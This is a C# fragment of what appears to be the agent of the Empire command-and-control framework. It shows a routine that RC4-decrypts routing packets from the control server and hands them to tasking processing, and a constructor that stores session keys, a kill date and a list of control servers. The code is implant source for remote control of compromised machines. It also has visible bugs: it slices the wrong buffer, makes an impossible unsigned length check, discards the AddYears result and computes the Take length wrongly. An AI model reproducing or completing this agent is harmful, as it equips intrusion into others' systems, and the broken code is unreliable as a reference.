////////////////////////////////////////////////////////////////////////////////
internal void decodeRoutingPacket(byte[] packetData, ref JobTracking jobTracking)
{
this.jobTracking = jobTracking;
if (packetData.Length < 20)
{
return;
}
Int32 offset = 0;
while (offset < packetData.Length)
{
byte[] routingPacket = packetData.Skip(offset).Take(20).ToArray();
byte[] routingInitializationVector = routingPacket.Take(4).ToArray();
byte[] routingEncryptedData = packetData.Skip(4).Take(16).ToArray();
offset += 20;
byte[] rc4Key = Misc.combine(routingInitializationVector, stagingKeyBytes);
byte[] routingData = EmpireStager.rc4Encrypt(rc4Key, routingEncryptedData);
String packetSessionId = Encoding.UTF8.GetString(routingData.Take(8).ToArray());
try
{
byte language = routingPacket[8];
byte metaData = routingPacket[9];
}
catch (IndexOutOfRangeException error)
{
WriteOutputBad(error.ToString());
}
byte[] extra = routingPacket.Skip(10).Take(2).ToArray();
UInt32 packetLength = BitConverter.ToUInt32(routingData, 12);
if (packetLength < 0)
{
break;
}
if (sessionId == packetSessionId)
{
byte[] encryptedData = packetData.Skip(offset).Take(offset + (Int32)packetLength - 1).ToArray();
offset += (Int32)packetLength;
try
{
processTaskingPackets(encryptedData);
}
catch (Exception error)
{
WriteOutputBad(error.ToString());
}
}
}
}
////////////////////////////////////////////////////////////////////////////////
public Agent(String stagingKey, String sessionKey, String sessionId, String servers)
{
this.sessionId = sessionId;
defaultResponse = "";
killDate = DateTime.Now;
killDate.AddYears(1);
controlServers = servers.Split(',');
coms = new Coms(sessionId, stagingKey, sessionKey, controlServers);
jobTracking = new JobTracking();
}